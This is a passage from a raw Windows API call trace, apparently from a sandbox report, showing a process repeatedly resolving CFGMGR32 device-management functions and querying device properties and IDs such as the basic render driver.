0x7ffb1ceee8a0 [0238.884] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0238.885] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0238.885] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0238.885] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0238.885] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0238.885] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0238.885] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0238.886] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0238.886] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0238.886] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0238.886] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0238.886] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0238.886] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0238.886] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0238.887] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0238.887] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0238.887] malloc (_Size=0x18) returned 0x20abc282060 [0238.887] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x6, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0238.888] malloc (_Size=0x48) returned 0x20abc27cb20 [0238.888] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4a2802ca, dwHighDateTime=0x1d9eb0c)) [0238.889] SetEvent (hEvent=0x248) returned 1 [0238.895] malloc (_Size=0xd8) returned 0x20abc284e70 [0238.895] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0238.896] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0238.896] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0238.896] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0238.896] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0238.896] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0238.897] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0238.897] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0238.897] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0238.897] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0238.897] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0238.897] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0238.897] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0238.898] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0238.898] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0238.898] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0238.898] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0238.898] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0238.898] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0238.898] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0238.898] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0238.899] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0238.899] malloc (_Size=0x18) returned 0x20abc281fc0 [0238.899] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x6, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0238.899] malloc (_Size=0x48) returned 0x20abc27cb20 [0238.899] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4a2802ca, dwHighDateTime=0x1d9eb0c)) [0238.900] SetEvent (hEvent=0x248) returned 1 [0238.907] malloc (_Size=0xd8) returned 0x20abc284e70 [0238.907] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0238.907] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0238.907] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0238.908] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0238.908] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0238.908] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0238.908] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0238.908] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0238.908] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0238.908] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0238.909] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0238.909] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0238.909] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0238.909] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0238.909] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0238.909] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0238.909] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0238.910] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0238.910] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0238.910] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0238.910] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0238.910] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0238.910] malloc (_Size=0x18) returned 0x20abc281fc0 [0238.911] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x6, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0238.911] malloc (_Size=0x48) returned 0x20abc27cb20 [0238.911] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x4a2a6525, dwHighDateTime=0x1d9eb0c)) [0238.911] SetEvent (hEvent=0x248) returned 1 [0238.916] malloc (_Size=0xd8) returned 0x20abc284e70 [0238.916] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0238.916] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0238.980] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0238.980] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0238.980] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0238.980] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0238.980] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0238.980] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0238.981] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0238.981] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0238.981] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0238.981] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0238.981] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0238.981] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0238.981] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0238.982] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0238.982] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0238.982] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0238.982] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0238.982] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0238.982] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0238.982] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0238.983] malloc (_Size=0x18) returned 0x20abc2819e0 [0238.983] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x6, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0238.983] malloc (_Size=0x48) returned 0x20abc27cb20 [0238.983] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x4a365065, dwHighDateTime=0x1d9eb0c)) [0238.984] SetEvent (hEvent=0x248) returned 1 [0238.988] malloc (_Size=0xd8) returned 0x20abc284e70 [0238.988] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0238.988] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0238.988] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0238.989] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0238.989] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0238.989] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0238.989] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0238.989] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0238.989] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0238.989] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0238.990] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0238.990] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0238.990] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0238.990] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0238.990] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0238.990] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0238.990] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0238.990] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0238.991] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0238.991] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0238.991] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0238.991] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0238.991] malloc (_Size=0x18) returned 0x20abc281f60 [0238.992] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x6, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0238.992] malloc (_Size=0x48) returned 0x20abc27cb20 [0238.992] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4a365065, dwHighDateTime=0x1d9eb0c)) [0238.992] SetEvent (hEvent=0x248) returned 1 [0238.999] malloc (_Size=0xd8) returned 0x20abc284e70 [0238.999] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0238.999] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0238.999] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0239.000] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0239.000] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0239.000] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0239.000] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0239.000] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0239.000] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0239.000] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0239.001] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0239.001] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0239.001] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0239.001] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0239.001] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0239.001] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0239.001] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0239.002] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0239.002] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0239.002] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0239.002] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0239.002] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0239.002] malloc (_Size=0x18) returned 0x20abc281ee0 [0239.003] CM_Get_Device_IDA (in: dnDevInst=0x8, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\BASICRENDER\\0000") returned 0x0 [0239.003] malloc (_Size=0x48) returned 0x20abc27cb20 [0239.003] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x4a38b3c8, dwHighDateTime=0x1d9eb0c)) [0239.003] SetEvent (hEvent=0x248) returned 1 [0239.007] malloc (_Size=0xd8) returned 0x20abc284e70 [0239.007] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0239.008] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0239.008] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0239.008] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0239.008] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0239.008] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0239.008] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0239.008] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0239.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0239.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0239.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0239.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0239.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0239.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0239.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0239.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0239.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0239.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0239.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0239.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0239.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0239.011] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0239.011] malloc (_Size=0x18) returned 0x20abc281b20 [0239.011] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x8, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0239.012] malloc (_Size=0x24) returned 0x20abc2a9c10 [0239.012] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x8, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a9c10, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a9c10, pulLength=0x2dc22fd3f8) returned 0x0 [0239.013] free (_Block=0x20abc2a9c10) [0239.013] malloc (_Size=0x48) returned 0x20abc27cf80 [0239.013] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4a3b1900, dwHighDateTime=0x1d9eb0c)) [0239.014] SetEvent (hEvent=0x248) returned 1 [0239.019] malloc (_Size=0x18) returned 0x20abc2820e0 [0239.019] SafeArrayPutElement (psa=0x20abbaf22e0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0239.019] free (_Block=0x20abc2820e0) [0239.019] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c370 [0239.019] SafeArrayGetDim (psa=0x20abbaf22e0) returned 0x1 [0239.019] SafeArrayGetLBound (in: psa=0x20abbaf22e0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0239.019] SafeArrayGetUBound (in: psa=0x20abbaf22e0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0239.019] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0239.019] SafeArrayGetDim (psa=0x20abbaf22e0) returned 0x1 [0239.019] SafeArrayGetUBound (in: psa=0x20abbaf22e0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0239.020] SafeArrayGetElemsize (psa=0x20abbaf22e0) returned 0x8 [0239.020] SafeArrayGetElement (in: psa=0x20abbaf22e0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0239.020] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4021c0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0239.021] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0239.021] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c370) returned 1 [0239.022] malloc (_Size=0xd8) returned 0x20abc284e70 [0239.022] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0239.023] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0239.023] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0239.023] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0239.023] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0239.023] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0239.023] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0239.024] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0239.024] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0239.024] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0239.024] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0239.024] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0239.024] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0239.025] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0239.025] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0239.025] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0239.025] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0239.025] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0239.025] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0239.026] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0239.026] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0239.026] GetProcAddress (hModule=0x7ffb1ced0000, 